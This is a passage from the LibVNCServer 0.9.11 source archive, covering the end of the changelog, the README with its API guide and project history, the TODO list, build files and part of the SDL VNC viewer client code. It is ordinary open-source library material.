new ones, don't crash fixed a bug with ClientConnectionGone endianness is checked at configure time fixed a bug that prevented the first client from being closed fixed that annoying "libvncserver-config --link" bug make rfbReverseByte public (for rdp2vnc) fixed compilation on OS X, IRIX, Solaris install target for headers is now ${prefix}/include/rfb ("#include ") renamed "sraRegion.h" to "rfbregion.h" CARD{8,16,32} are more standard uint{8,16,32}_t now fixed LinuxVNC colour handling fixed a bug with pthreads where the connection was not closed moved vncterm to main package (LinuxVNC included) portability fixes (IRIX, OSX, Solaris) more portable way to determine endianness and types of a given size through autoconf based methods 0.5 rpm packaging through autoconf autoconf'ed the whole package (including optional support for zlib, pthreads and libjpeg as well as zrle/c++) moved appropriate files to contrib/ and examples/ respectively fixed long standing cargs bug (Justin "Zippy" Dearing) Even better x11vnc from Karl J. Runge! (supports different kbd layouts of client/server) Better x11vnc from Karl J. Runge! fixed severe bug (Const Kaplinsky) got patch from Const Kaplisnky with CursorPosUpdate encoding and some Docs sync'ed with newest RealVNC (ZRLE encoding) a HTTP request for tunnelling was added (to fool strict web proxies) sync'ed with TightVNC 1.2.5 0.4 support for NewFB from Const Kaplinsky memory leaks squashed (localtime pseudo leak is still there :-) small improvements for OSXvnc (still not working correctly) synced with TightVNC 1.2.3 solaris compile cleanups many x11vnc improvements added backchannel, an encoding which needs special clients to pass arbitrary data to the client changes from Tim Jansen regarding multi threading and client blocking as well as C++ compliancy x11vnc can be controlled by starting again with special options if compiling with LOCAL_CONTROL defined 0.3 added x11vnc, a x0rfbserver clone regard deferUpdateTime in processEvents, if usec<0 initialize deferUpdateTime (memory "leak"!) changed command line handling (arguments are parsed and then removed) added very simple example: zippy added rfbDrawLine, rfbDrawPixel 0.2 inserted a deferUpdate mechanism (X11 independent). removed deletion of requestedRegion added rfbLoadConsoleFont fixed font colour handling. added rfbSelectBox added rfbDrawCharWithClip to allow for clipping and a background colour. fixed font colours added rfbFillRect added IO function to check password. rfbNewClient now sets the socket in the fd_set (for the select() call) when compiling the library with HAVE_PTHREADS and an application which includes "rfb.h" without, the structures got mixed up. So, the pthreads section is now always at the end, and also you get a linker error for rfbInitServer when using two different pthread setups. fixed two deadlocks: when setting a cursor and when using CopyRect fixed CopyRect when copying modified regions (they lost the modified property) WIN32 target compiles and works for example :-) fixed CopyRect (was using the wrong order of rectangles...) should also work with pthreads, because copyrects are always sent immediately (so that two consecutive copy rects cannot conflict). changed rfbUndrawCursor(rfbClientPtr) to (rfbScreenInfoPtr), because this makes more sense! flag backgroundLoop in rfbScreenInfo (if having pthreads) CopyRect & CopyRegion were implemented. if you use a rfbDoCopyR* function, it copies the data in the framebuffer. If you prefer to do that yourself, use rfbScheduleCopyR* instead; this doesn't modify the frameBuffer. added flag to optionally not send XCursor updates, but only RichCursor, or if that is not possible, fall back to server side cursor. This is useful if your cursor has many nice colours. fixed java viewer on server side: SendCursorUpdate would send data even before the client pixel format was set, but the java applet doesn't like the server's format. fixed two pthread issues: rfbSendFramebuffer was sent by a ProcessClientMessage function (unprotected by updateMutex). cursor coordinates were set without protection by cursorMutex source is now equivalent to TridiaVNC 1.2.1 pthreads now work (use iterators!) cursors are supported (rfbSetCursor automatically undraws cursor) support for 3 bytes/pixel (slow!) server side colourmap support fixed rfbCloseClient not to close the connection (pthreads!) this is done lazily (and with proper signalling). cleaned up mac.c (from original OSXvnc); now compiles (untested!) compiles cleanly on Linux, IRIX, BSD, Apple (Darwin) fixed prototypes 0.1 rewrote API to use pseudo-methods instead of required functions. lots of clean up. Example can show symbols now. All encodings HTTP libvncserver-LibVNCServer-0.9.11/README000066400000000000000000000444161303145525000174370ustar00rootroot00000000000000[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver) LibVNCServer: A library for easy implementation of a VNC server. Copyright (C) 2001-2003 Johannes E. Schindelin If you already used LibVNCServer, you probably want to read NEWS. What is it? ----------- VNC is a set of programs using the RFB (Remote Frame Buffer) protocol. They are designed to "export" a frame buffer via net (if you don't know VNC, I suggest you read "Basics" below). It is already in wide use for administration, but it is not that easy to program a server yourself. This has been changed by LibVNCServer. There are two examples included: - example, a shared scribble sheet - pnmshow, a program to show PNMs (pictures) over the net. The examples are not too well documented, but easy straight forward and a good starting point. Try example: it outputs on which port it listens (default: 5900), so it is display 0. To view, call vncviewer :0 You should see a sheet with a gradient and "Hello World!" written on it. Try to paint something. Note that every time you click, there is some bigger blot, whereas when you drag the mouse while clicked you draw a line. The size of the blot depends on the mouse button you click. Open a second vncviewer with the same parameters and watch it as you paint in the other window. This also works over internet. You just have to know either the name or the IP of your machine. Then it is vncviewer machine.where.example.runs.com:0 or similar for the remote client. Now you are ready to type something. Be sure that your mouse sits still, because every time the mouse moves, the cursor is reset to the position of the pointer! If you are done with that demo, press the down or up arrows. If your viewer supports it, then the dimensions of the sheet change. Just press Escape in the viewer. Note that the server still runs, even if you closed both windows. When you reconnect now, everything you painted and wrote is still there. You can press "Page Up" for a blank page. The demo pnmshow is much simpler: you either provide a filename as argument or pipe a file through stdin. Note that the file has to be a raw pnm/ppm file, i.e. a truecolour graphics. Only the Escape key is implemented. This may be the best starting point if you want to learn how to use LibVNCServer. You are confronted with the fact that the bytes per pixel can only be 8, 16 or 32. Projects using it ---------------------------------------- VNC for KDE http://www.tjansen.de/krfb GemsVNC http://www.elilabs.com/~rj/gemsvnc/ VNC for Netware http://forge.novell.com/modules/xfmod/project/?vncnw RDesktop http://rdesktop.sourceforge.net VNCpp https://github.com/ocrespo/VNCpp Mail me, if your application is missing! How to use ---------- To make a server, you just have to initialise a server structure using the function rfbDefaultScreenInit, like rfbScreenInfoPtr rfbScreen = rfbGetScreen(argc,argv,width,height,8,3,bpp); where byte per pixel should be 1, 2 or 4. If performance doesn't matter, you may try bpp=3 (internally one cannot use native data types in this case; if you want to use this, look at pnmshow24). You then can set hooks and io functions (see below) or other options (see below). And you allocate the frame buffer like this: rfbScreen->frameBuffer = (char*)malloc(width*height*bpp); After that, you initialize the server, like rfbInitServer(rfbScreen); You can use a blocking event loop, a background (pthread based) event loop, or implement your own using the rfbProcessEvents function. Making it interactive --------------------- Input is handled by IO functions (see below). Whenever you change something in the frame buffer, call rfbMarkRectAsModified. You should make sure that the cursor is not drawn before drawing yourself by calling rfbUndrawCursor. You can also draw the cursor using rfbDrawCursor, but it hardly seems necessary. For cursor details, see below. Utility functions ----------------- Whenever you draw something, you have to call rfbMarkRectAsModified(screen,x1,y1,x2,y2). This tells LibVNCServer to send updates to all connected clients. Before you draw something, be sure to call rfbUndrawCursor(screen). This tells LibVNCServer to hide the cursor. Remark: There are vncviewers out there, which know a cursor encoding, so that network traffic is low, and also the cursor doesn't need to be drawn the cursor every time an update is sent. LibVNCServer handles all the details. Just set the cursor and don't bother any more. To set the mouse coordinates (or emulate mouse clicks), call rfbDefaultPtrAddEvent(buttonMask,x,y,cl); IMPORTANT: do this at the end of your function, because this actually draws the cursor if no cursor encoding is active. What is the difference between rfbScreenInfoPtr and rfbClientPtr? ----------------------------------------------------------------- The rfbScreenInfoPtr is a pointer to a rfbScreenInfo structure, which holds information about the server, like pixel format, io functions, frame buffer etc. The rfbClientPtr is a pointer to an rfbClientRec structure, which holds information about a client, like pixel format, socket of the connection, etc. A server can have several clients, but needn't have any. So, if you have a server and three clients are connected, you have one instance of a rfbScreenInfo and three instances of rfbClientRec's. The rfbClientRec structure holds a member rfbScreenInfoPtr screen which points to the server and a member rfbClientPtr next to the next client. The rfbScreenInfo structure holds a member rfbClientPtr rfbClientHead which points to the first client. So, to access the server from the client structure, you use client->screen. To access all clients from a server, get screen->rfbClientHead and iterate using client->next. If you change client settings, be sure to use the provided iterator rfbGetClientIterator(rfbScreen) with rfbClientIteratorNext(iterator) and rfbReleaseClientIterator to prevent thread clashes. Other options ------------- These options have to be set between rfbGetScreen and rfbInitServer. If you already have a socket to talk to, just set rfbScreen->inetdSock (originally this is for inetd handling, but why not use it for your purpose?). To also start an HTTP server (running on port 5800+display_number), you have to set rfbScreen->httpdDir to a directory containing vncviewer.jar and index.vnc (like the included "webclients" directory). Hooks and IO functions ---------------------- There exist the following IO functions as members of rfbScreen: kbdAddEvent, kbdReleaseAllKeys, ptrAddEvent and setXCutText kbdAddEvent(rfbBool down,rfbKeySym key,rfbClientPtr cl) is called when a key is pressed. kbdReleaseAllKeys(rfbClientPtr cl) is not called at all (maybe in the future). ptrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl) is called when the mouse moves or a button is pressed. WARNING: if you want to have proper cursor handling, call rfbDefaultPtrAddEvent(buttonMask,x,y,cl) in your own function. This sets the coordinates of the cursor. setXCutText(char* str,int len,rfbClientPtr cl) is called when the selection changes. There are only two hooks: newClientHook(rfbClientPtr cl) is called when a new client has connected. displayHook is called just before a frame buffer update is sent. You can also override the following methods: getCursorPtr(rfbClientPtr cl) This could be used to make an animated cursor (if you really want ...) setTranslateFunction(rfbClientPtr cl) If you insist on colour maps or something more obscure, you have to implement this. Default is a trueColour mapping. Cursor handling --------------- The screen holds a pointer rfbCursorPtr cursor to the current cursor. Whenever you set it, remember that any dynamically created cursor (like return value from rfbMakeXCursor) is not free'd! The rfbCursor structure consists mainly of a mask and a source. The mask describes, which pixels are drawn for the cursor (a cursor needn't be rectangular). The source describes, which colour those pixels should have. The standard is an XCursor: a cursor with a foreground and a background colour (stored in backRed,backGreen,backBlue and the same for foreground in a range from 0-0xffff). Therefore, the arrays "mask" and "source" contain pixels as single bits stored in bytes in MSB order. The rows are padded, such that each row begins with a new byte (i.e. a 10x4 cursor's mask has 2x4 bytes, because 2 bytes are needed to hold 10 bits). It is however very easy to make a cursor like this: char* cur=" " " xx " " x " " "; char* mask="xxxx" "xxxx" "xxxx" "xxx "; rfbCursorPtr c=rfbMakeXCursor(4,4,cur,mask); You can even set "mask" to NULL in this call and LibVNCServer will calculate a mask for you (dynamically, so you have to free it yourself). There is also an array named "richSource" for colourful cursors. They have the same format as the frameBuffer (i.e. if the server is 32 bit, a 10x4 cursor has 4x10x4 bytes). History ------- LibVNCServer is based on Tridia VNC and OSXvnc, which in turn are based on the original code from ORL/AT&T. When I began hacking with computers, my first interest was speed. So, when I got around assembler, I programmed the floppy to do much of the work, because its clock rate was higher than that of my C64. This was my first experience with client/server techniques. When I came around Xwindows (much later), I was at once intrigued by the elegance of such connectedness between the different computers. I used it a lot - not the least priority lay on games. However, when I tried it over modem from home, it was no longer that much fun. When I started working with ASP (Application Service Provider) programs, I tumbled across Tarantella and Citrix. Being a security fanatic, the idea of running a server on windows didn't appeal to me, so Citrix went down the basket. However, Tarantella has its own problems (security as well as the high price). But at the same time somebody told me about this "great little administrator's tool" named VNC. Being used to windows programs' sizes, the surprise was reciprocal inverse to the size of VNC! At the same time, the program "rdesktop" (a native Linux client for the Terminal Services of Windows servers) came to my attention. There where even works under way to make a protocol converter "rdp2vnc" out of this. However, my primary goal was a slow connection and rdp2vnc could only speak RRE encoding, which is not that funny with just 5kB/s. Tim Edmonds, the original author of rdp2vnc, suggested that I adapt it to Hextile Encoding, which is better. I first tried that, but had no success at all (crunchy pictures). Also, I liked the idea of an HTTP server included and possibly other encodings like the Tight Encodings from Const Kaplinsky. So I started looking for libraries implementing a VNC server where I could steal what I can't make. I found some programs based on the demo server from AT&T, which was also the basis for rdp2vnc (can only speak Raw and RRE encoding). There were some rumors that GGI has a VNC backend, but I didn't find any code, so probably there wasn't a working version anyway. All of a sudden, everything changed: I read on freshmeat that "OSXvnc" was released. I looked at the code and it was not much of a problem to work out a simple server - using every functionality there is in Xvnc. It became clear to me that I *had* to build a library out of it, so everybody can use it. Every change, every new feature can propagate to every user of it. It also makes everything easier: You don't care about the cursor, once set (or use the standard cursor). You don't care about those sockets. You don't care about encodings. You just change your frame buffer and inform the library about it. Every once in a while you call rfbProcessEvents and that's it. Basics ------ VNC (Virtual network computing) works like this: You set up a server and can connect to it via vncviewers. The communication uses a protocol named RFB (Remote Frame Buffer). If the server supports HTTP, you can also connect using a java enabled browser. In this case, the server sends back a vncviewer applet with the correct settings. There exist several encodings for VNC, which are used to compress the regions which have changed before they are sent to the client. A client need not be able to understand every encoding, but at least Raw encoding. Which encoding it understands is negotiated by the RFB protocol. The following encodings are known to me: Raw, RRE, CoRRE, Hextile, CopyRect from the original AT&T code and Tight, ZLib, LastRect, XCursor, RichCursor from Const Kaplinsky et al. If you are using a modem, you want to try the "new" encodings. Especially with my 56k modem I like ZLib or Tight with Quality 0. In my tests, it even beats Tarantella. There is the possibility to set a password, which is also negotiated by the RFB protocol, but IT IS NOT SECURE. Anybody sniffing your net can get the password. You really should tunnel through SSH. Windows or: why do you do that to me? -------------------------------------------- If you love products from Redmod, you better skip this paragraph. I am always amazed how people react whenever Microsoft(tm) puts in some features into their products which were around for a long time. Especially reporters seem to not know dick about what they are reporting about! But what is every time annoying again, is that they don't do it right. Every concept has its new name (remember what enumerators used to be until Mickeysoft(tm) claimed that enumerators are what we thought were iterators. Yeah right, enumerators are also containers. They are not separated. Muddy.) There are three packages you want to get hold of: zlib, jpeg and pthreads. The latter is not strictly necessary, but when you put something like this into your source: ``` #define MUTEX(s) struct { int something; MUTEX(latex); } ``` Microsoft's C++ compiler doesn't do it. It complains that this is an error. This, however, is how I implemented mutexes in case you don't need pthreads, and so don't need the mutex. You can find the packages at http://www.gimp.org/win32/extralibs-dev-20001007.zip Thanks go to all the GIMP team! What are those other targets in the Makefile? --------------------------------------------- OSXvnc-server is the original OSXvnc adapted to use the library, which was in turn adapted from OSXvnc. As you easily can see, the OSX dependend part is minimal. storepasswd is the original program to save a vnc style password in a file. Unfortunately, authentication as every vncviewer speaks it means the server has to know the plain password. You really should tunnel via ssh or use your own PasswordCheck to build a PIN/TAN system. sratest is a test unit. Run it to assert correct behaviour of sraRegion. I wrote this to test my iterator implementation. blooptest is a test of pthreads. It is just the example, but with a background loop to hunt down thread lockups. pnmshow24 is like pnmshow, but it uses 3 bytes/pixel internally, which is not as efficient as 4 bytes/pixel for translation, because there is no native data type of that size, so you have to memcpy pixels and be real cautious with endianness. Anyway, it works. fontsel is a test for rfbSelectBox and rfbLoadConsoleFont. If you have Linux console fonts, you can browse them via VNC. Directory browsing not implemented yet :-( Why I don't feel bad about GPL ------------------------------ At the beginning of this projects I would have liked to make it a BSD license. However, it is based on plenty of GPL'ed code, so it has to be a GPL. I hear BeeGee complaining: "but that's invasive, every derivative work, even just linking, makes my software GPL!" Yeah. That's right. It is because there are nasty jarheads out there who would take anybody's work and claim it their own, selling it for much too much money, stealing freedom and innovation from others, saying they were the maintainers of innovation, lying, making money with that. The people at AT&T worked really well to produce something as clean and lean as VNC. The managers decided that for their fame, they would release the program for free. But not only that! They realized that by releasing also the code for free, VNC would become an evolving little child, conquering new worlds, making its parents very proud. As well they can be! To protect this innovation, they decided to make it GPL, not BSD. The principal difference is: You can make closed source programs deriving from BSD, not from GPL. You have to give proper credit with both. Now, why not BSD? Well, imagine your child being some famous actor. Along comes a manager who exploits your child exclusively, that is: nobody else can profit from the child, it itself included. Got it? What reason do you have now to use this library commercially? Several: You don't have to give away your product. Then you have effectively circumvented the GPL, because you have the benefits of other's work and you don't give back anything and you will be in hell for that. In fact, this library, as my other projects, is a payback for all the free software I can use (and sometimes, make better). For example, just now, I am using XEmacs on top of XFree86, all running under Linux. Better: Use a concept like MySQL. This is free software, however, they make money with it. If you want something implemented, you have the choice: Ask them to do it (and pay a fair price), or do it yourself, normally giving back your enhancements to the free world of computing. Learn from it: If you like the style this is written, learn how to imitate it. If you don't like the style, learn how to avoid those things you don't like. I learnt so much, just from looking at code like Linux, XEmacs, LilyPond, STL, etc. License ------- This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.dfdf Contact ------- To contact me, mail me: Johannes dot Schindelin at gmx dot de libvncserver-LibVNCServer-0.9.11/README.md000077700000000000000000000000001303145525000207002READMEustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/TODO000066400000000000000000000016531303145525000172430ustar00rootroot00000000000000immediate: ---------- - Add sources for the java stuff. - Implement encryption in libvncserver. - Add a libvncclient-config script. make SDLvncviewer more versatile - test for missing keys (especially "[]{}" with ./examples/mac), - map Apple/Linux/Windows keys onto each other, - handle selection - handle scroll wheel style fixes: use Linux' coding guidelines & ANSIfy tightvnc-filetransfer: discuss on list LibVNCClient cleanup: prefix with "rfbClient", and make sure it does not deliberately die() or exit() anywhere! java vncviewer doesn't do colour cursors? make corre work again (libvncclient or libvncserver?) teach SDLvncviewer about CopyRect... implement "-record" in libvncclient implement QoS for Windows in libvncclient later: ------ selectbox: scroll bars authentification schemes (secure vnc) IO function ptr exists; now explain how to tunnel and implement a client address restriction scheme. VisualNaCro testing libvncserver-LibVNCServer-0.9.11/autogen.sh000077500000000000000000000000571303145525000205510ustar00rootroot00000000000000#!/bin/sh autoreconf -fiv && ./configure "$@" libvncserver-LibVNCServer-0.9.11/client_examples/000077500000000000000000000000001303145525000217225ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/client_examples/Makefile.am000066400000000000000000000015451303145525000237630ustar00rootroot00000000000000AM_CPPFLAGS = -I$(top_srcdir) LDADD = ../libvncclient/libvncclient.la @WSOCKLIB@ if WITH_FFMPEG FFMPEG_HOME=@with_ffmpeg@ if HAVE_MP3LAME MP3LAME_LIB=-lmp3lame endif vnc2mpg_CFLAGS=-I$(FFMPEG_HOME)/libavformat -I$(FFMPEG_HOME)/libavcodec -I$(FFMPEG_HOME)/libavutil vnc2mpg_LDADD=$(LDADD) $(FFMPEG_HOME)/libavformat/libavformat.a $(FFMPEG_HOME)/libavcodec/libavcodec.a $(MP3LAME_LIB) -lm FFMPEG_CLIENT=vnc2mpg endif if HAVE_LIBSDL SDLVIEWER=SDLvncviewer SDLvncviewer_CFLAGS=$(SDL_CFLAGS) SDLvncviewer_SOURCES=SDLvncviewer.c scrap.c scrap.h # thanks to autoconf, this looks ugly SDLvncviewer_LDADD=$(LDADD) $(SDL_LIBS) endif if HAVE_LIBGTK GTKVIEWER=gtkvncviewer gtkvncviewer_SOURCES=gtkvncviewer.c gtkvncviewer_CFLAGS=$(GTK_CFLAGS) gtkvncviewer_LDADD=$(LDADD) $(GTK_LIBS) endif noinst_PROGRAMS=ppmtest $(SDLVIEWER) $(GTKVIEWER) $(FFMPEG_CLIENT) backchannel libvncserver-LibVNCServer-0.9.11/client_examples/SDLvncviewer.c000066400000000000000000000343221303145525000244450ustar00rootroot00000000000000/** * @example SDLvncviewer.c */ #include #include #include #include "scrap.h" struct { int sdl; int rfb; } buttonMapping[]={ {1, rfbButton1Mask}, {2, rfbButton2Mask}, {3, rfbButton3Mask}, {4, rfbButton4Mask}, {5, rfbButton5Mask}, {0,0} }; static int enableResizable = 1, viewOnly, listenLoop, buttonMask; #ifdef SDL_ASYNCBLIT int sdlFlags = SDL_HWSURFACE | SDL_ASYNCBLIT | SDL_HWACCEL; #else int sdlFlags = SDL_HWSURFACE | SDL_HWACCEL; #endif static int realWidth, realHeight, bytesPerPixel, rowStride; static char *sdlPixels; static int rightAltKeyDown, leftAltKeyDown; static rfbBool resize(rfbClient* client) { int width=client->width,height=client->height, depth=client->format.bitsPerPixel; if (enableResizable) sdlFlags |= SDL_RESIZABLE; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = width; client->updateRect.h = height; rfbBool okay=SDL_VideoModeOK(width,height,depth,sdlFlags); if(!okay) for(depth=24;!okay && depth>4;depth/=2) okay=SDL_VideoModeOK(width,height,depth,sdlFlags); if(okay) { SDL_Surface* sdl=SDL_SetVideoMode(width,height,depth,sdlFlags); rfbClientSetClientData(client, SDL_Init, sdl); client->width = sdl->pitch / (depth / 8); if (sdlPixels) { free(client->frameBuffer); sdlPixels = NULL; } client->frameBuffer=sdl->pixels; client->format.bitsPerPixel=depth; client->format.redShift=sdl->format->Rshift; client->format.greenShift=sdl->format->Gshift; client->format.blueShift=sdl->format->Bshift; client->format.redMax=sdl->format->Rmask>>client->format.redShift; client->format.greenMax=sdl->format->Gmask>>client->format.greenShift; client->format.blueMax=sdl->format->Bmask>>client->format.blueShift; SetFormatAndEncodings(client); } else { SDL_Surface* sdl=rfbClientGetClientData(client, SDL_Init); rfbClientLog("Could not set resolution %dx%d!\n", client->width,client->height); if(sdl) { client->width=sdl->pitch / (depth / 8); client->height=sdl->h; } else { client->width=0; client->height=0; } return FALSE; } SDL_WM_SetCaption(client->desktopName, "SDL"); return TRUE; } static rfbKeySym SDL_key2rfbKeySym(SDL_KeyboardEvent* e) { rfbKeySym k = 0; SDLKey sym = e->keysym.sym; switch (sym) { case SDLK_BACKSPACE: k = XK_BackSpace; break; case SDLK_TAB: k = XK_Tab; break; case SDLK_CLEAR: k = XK_Clear; break; case SDLK_RETURN: k = XK_Return; break; case SDLK_PAUSE: k = XK_Pause; break; case SDLK_ESCAPE: k = XK_Escape; break; case SDLK_SPACE: k = XK_space; break; case SDLK_DELETE: k = XK_Delete; break; case SDLK_KP0: k = XK_KP_0; break; case SDLK_KP1: k = XK_KP_1; break; case SDLK_KP2: k = XK_KP_2; break; case SDLK_KP3: k = XK_KP_3; break; case SDLK_KP4: k = XK_KP_4; break; case SDLK_KP5: k = XK_KP_5; break; case SDLK_KP6: k = XK_KP_6; break; case SDLK_KP7: k = XK_KP_7; break; case SDLK_KP8: k = XK_KP_8; break; case SDLK_KP9: k = XK_KP_9; break; case SDLK_KP_PERIOD: k = XK_KP_Decimal; break; case SDLK_KP_DIVIDE: k = XK_KP_Divide; break; case SDLK_KP_MULTIPLY: k = XK_KP_Multiply; break; case SDLK_KP_MINUS: k = XK_KP_Subtract; break; case SDLK_KP_PLUS: k = XK_KP_Add; break; case SDLK_KP_ENTER: k = XK_KP_Enter; break; case SDLK_KP_EQUALS: k = XK_KP_Equal; break; case SDLK_UP: k = XK_Up; break; case SDLK_DOWN: k = XK_Down; break; case SDLK_RIGHT: k = XK_Right; break; case SDLK_LEFT: k = XK_Left; break; case SDLK_INSERT: k = XK_Insert; break; case SDLK_HOME: k = XK_Home; break; case SDLK_END: k = XK_End; break; case SDLK_PAGEUP: k = XK_Page_Up; break; case SDLK_PAGEDOWN: k = XK_Page_Down; break; case SDLK_F1: k = XK_F1; break; case SDLK_F2: k = XK_F2; break; case SDLK_F3: k = XK_F3; break; case SDLK_F4: k = XK_F4; break; case SDLK_F5: k = XK_F5; break; case SDLK_F6: k = XK_F6; break; case SDLK_F7: k = XK_F7; break; case SDLK_F8: k = XK_F8; break; case SDLK_F9: k = XK_F9; break; case SDLK_F10: k = XK_F10; break; case SDLK_F11: k = XK_F11; break; case SDLK_F12: k = XK_F12; break; case SDLK_F13: k = XK_F13; break; case SDLK_F14: k = XK_F14; break; case SDLK_F15: k = XK_F15; break; case SDLK_NUMLOCK: k = XK_Num_Lock; break; case SDLK_CAPSLOCK: k = XK_Caps_Lock; break; case SDLK_SCROLLOCK: k = XK_Scroll_Lock; break; case SDLK_RSHIFT: k = XK_Shift_R; break; case SDLK_LSHIFT: k = XK_Shift_L; break; case SDLK_RCTRL: k = XK_Control_R; break; case SDLK_LCTRL: k = XK_Control_L; break; case SDLK_RALT: k = XK_Alt_R; break; case SDLK_LALT: k = XK_Alt_L; break; case SDLK_RMETA: k = XK_Meta_R; break; case SDLK_LMETA: k = XK_Meta_L; break; case SDLK_LSUPER: k = XK_Super_L; break; case SDLK_RSUPER: k = XK_Super_R; break; #if 0 case SDLK_COMPOSE: k = XK_Compose; break; #endif case SDLK_MODE: k = XK_Mode_switch; break; case SDLK_HELP: k = XK_Help; break; case SDLK_PRINT: k = XK_Print; break; case SDLK_SYSREQ: k = XK_Sys_Req; break; case SDLK_BREAK: k = XK_Break; break; default: break; } /* both SDL and X11 keysyms match ASCII in the range 0x01-0x7f */ if (k == 0 && sym > 0x0 && sym < 0x100) { k = sym; if (e->keysym.mod & (KMOD_LSHIFT | KMOD_RSHIFT)) { if (k >= '1' && k <= '9') k &= ~0x10; else if (k >= 'a' && k <= 'f') k &= ~0x20; } } if (k == 0) { if (e->keysym.unicode < 0x100) k = e->keysym.unicode; else rfbClientLog("Unknown keysym: %d\n", sym); } return k; } static uint32_t get(rfbClient *cl, int x, int y) { switch (bytesPerPixel) { case 1: return ((uint8_t *)cl->frameBuffer)[x + y * cl->width]; case 2: return ((uint16_t *)cl->frameBuffer)[x + y * cl->width]; case 4: return ((uint32_t *)cl->frameBuffer)[x + y * cl->width]; default: rfbClientErr("Unknown bytes/pixel: %d", bytesPerPixel); exit(1); } } static void put(int x, int y, uint32_t v) { switch (bytesPerPixel) { case 1: ((uint8_t *)sdlPixels)[x + y * rowStride] = v; break; case 2: ((uint16_t *)sdlPixels)[x + y * rowStride] = v; break; case 4: ((uint32_t *)sdlPixels)[x + y * rowStride] = v; break; default: rfbClientErr("Unknown bytes/pixel: %d", bytesPerPixel); exit(1); } } static void resizeRectangleToReal(rfbClient *cl, int x, int y, int w, int h) { int i0 = x * realWidth / cl->width; int i1 = ((x + w) * realWidth - 1) / cl->width + 1; int j0 = y * realHeight / cl->height; int j1 = ((y + h) * realHeight - 1) / cl->height + 1; int i, j; for (j = j0; j < j1; j++) for (i = i0; i < i1; i++) { int x0 = i * cl->width / realWidth; int x1 = ((i + 1) * cl->width - 1) / realWidth + 1; int y0 = j * cl->height / realHeight; int y1 = ((j + 1) * cl->height - 1) / realHeight + 1; uint32_t r = 0, g = 0, b = 0; for (y = y0; y < y1; y++) for (x = x0; x < x1; x++) { uint32_t v = get(cl, x, y); #define REDSHIFT cl->format.redShift #define REDMAX cl->format.redMax #define GREENSHIFT cl->format.greenShift #define GREENMAX cl->format.greenMax #define BLUESHIFT cl->format.blueShift #define BLUEMAX cl->format.blueMax r += (v >> REDSHIFT) & REDMAX; g += (v >> GREENSHIFT) & GREENMAX; b += (v >> BLUESHIFT) & BLUEMAX; } r /= (x1 - x0) * (y1 - y0); g /= (x1 - x0) * (y1 - y0); b /= (x1 - x0) * (y1 - y0); put(i, j, (r << REDSHIFT) | (g << GREENSHIFT) | (b << BLUESHIFT)); } } static void update(rfbClient* cl,int x,int y,int w,int h) { if (sdlPixels) { resizeRectangleToReal(cl, x, y, w, h); w = ((x + w) * realWidth - 1) / cl->width + 1; h = ((y + h) * realHeight - 1) / cl->height + 1; x = x * realWidth / cl->width; y = y * realHeight / cl->height; w -= x; h -= y; } SDL_UpdateRect(rfbClientGetClientData(cl, SDL_Init), x, y, w, h); } static void setRealDimension(rfbClient *client, int w, int h) { SDL_Surface* sdl; if (w < 0) { const SDL_VideoInfo *info = SDL_GetVideoInfo(); w = info->current_h; h = info->current_w; } if (w == realWidth && h == realHeight) return; if (!sdlPixels) { int size; sdlPixels = (char *)client->frameBuffer; rowStride = client->width; bytesPerPixel = client->format.bitsPerPixel / 8; size = client->width * bytesPerPixel * client->height; client->frameBuffer = malloc(size); if (!client->frameBuffer) { rfbClientErr("Could not allocate %d bytes", size); exit(1); } memcpy(client->frameBuffer, sdlPixels, size); } sdl = rfbClientGetClientData(client, SDL_Init); if (sdl->w != w || sdl->h != h) { int depth = sdl->format->BitsPerPixel; sdl = SDL_SetVideoMode(w, h, depth, sdlFlags); rfbClientSetClientData(client, SDL_Init, sdl); sdlPixels = sdl->pixels; rowStride = sdl->pitch / (depth / 8); } realWidth = w; realHeight = h; update(client, 0, 0, client->width, client->height); } static void kbd_leds(rfbClient* cl, int value, int pad) { /* note: pad is for future expansion 0=unused */ fprintf(stderr,"Led State= 0x%02X\n", value); fflush(stderr); } /* trivial support for textchat */ static void text_chat(rfbClient* cl, int value, char *text) { switch(value) { case rfbTextChatOpen: fprintf(stderr,"TextChat: We should open a textchat window!\n"); TextChatOpen(cl); break; case rfbTextChatClose: fprintf(stderr,"TextChat: We should close our window!\n"); break; case rfbTextChatFinished: fprintf(stderr,"TextChat: We should close our window!\n"); break; default: fprintf(stderr,"TextChat: Received \"%s\"\n", text); break; } fflush(stderr); } #ifdef __MINGW32__ #define LOG_TO_FILE #endif #ifdef LOG_TO_FILE #include static void log_to_file(const char *format, ...) { FILE* logfile; static char* logfile_str=0; va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; if(logfile_str==0) { logfile_str=getenv("VNCLOG"); if(logfile_str==0) logfile_str="vnc.log"; } logfile=fopen(logfile_str,"a"); va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(logfile,buf); vfprintf(logfile, format, args); fflush(logfile); va_end(args); fclose(logfile); } #endif static void cleanup(rfbClient* cl) { /* just in case we're running in listenLoop: close viewer window by restarting SDL video subsystem */ SDL_QuitSubSystem(SDL_INIT_VIDEO); SDL_InitSubSystem(SDL_INIT_VIDEO); if(cl) rfbClientCleanup(cl); } static rfbBool handleSDLEvent(rfbClient *cl, SDL_Event *e) { switch(e->type) { #if SDL_MAJOR_VERSION > 1 || SDL_MINOR_VERSION >= 2 case SDL_VIDEOEXPOSE: SendFramebufferUpdateRequest(cl, 0, 0, cl->width, cl->height, FALSE); break; #endif case SDL_MOUSEBUTTONUP: case SDL_MOUSEBUTTONDOWN: case SDL_MOUSEMOTION: { int x, y, state, i; if (viewOnly) break; if (e->type == SDL_MOUSEMOTION) { x = e->motion.x; y = e->motion.y; state = e->motion.state; } else { x = e->button.x; y = e->button.y; state = e->button.button; for (i = 0; buttonMapping[i].sdl; i++) if (state == 